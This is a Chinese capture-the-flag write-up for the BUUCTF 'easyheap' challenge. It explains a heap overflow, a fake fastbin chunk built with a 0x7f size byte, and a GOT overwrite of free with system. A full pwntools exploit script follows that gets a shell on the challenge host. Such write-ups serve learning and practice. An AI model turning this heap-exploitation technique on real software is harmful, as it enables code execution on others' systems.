有system函数,那么就很好了,不用泄露libc了,直接跳转拿到flag?不可能的,这是个坑,里面什么都没有。

edit函数可以竟然可以重新编辑堆块的大小,堆溢出!!!

delete函数没什么用,free后置零,不存在uaf。

思路:

1、申请三个堆块,将/bin/sh写入chunk1。

2、利用house of spirit伪造堆块(伪造 chunk 至 heaparray 附近,这样操作在 malloc fastbin 时需要绕过大小判断,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin )

3、利用伪造的堆块将chunk0的地址覆盖为free_got地址

4、将free_got地址改写为system的地址

5、此时free chunk1就能拿到shell。

exp:

#coding=utf-8
from pwn import *
from LibcSearcher import*
context.log_level='debug'

if args['REMOTE']:
p = remote('node3.buuoj.cn',29073)
else:
p = process("./easyheap")


def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))

def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))

def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))


def main():
elf=ELF('./easyheap')
free_got = elf.got['free']

create(0x68,'aaaa')#fastbin 0
create(0x68,'bbbb')#fastbin 1
create(0x68,'cccc')#fastbin 2
free(2)

#gdb.attach(p)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

create(0x68,'aaaa')# 2
create(0x68,'c')# 3

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
print hex(elf.plt['system'])
# gdb.attach(p)

#gdb.attach(p)

edit(0,len(payload),payload)
free(1)

#gdb.attach(p)

p.interactive()



if __name__ == '__main__':
main()

具体过程:

1、create 0、1、2,free 2

2、将/bin/sh写入chunk1,发送第一段payload,伪造fake_chunk,选择0x6020b0-3为了绕过house of spirit的检查,以0x7f作为fastbin的大小的堆块。

3、create 2、3(之前已经free2,根据bins链表,重新生成的分别是之前的chunk2,和我们伪造的fake_chunk)

4、发送第二段payload,修改chunk0的地址为free_got地址

5、发送第三段payload,改写free_got表地址为system地址

5、free 1,拿到shell(此时调用的即为system函数,chunk1的内容为/bin/sh)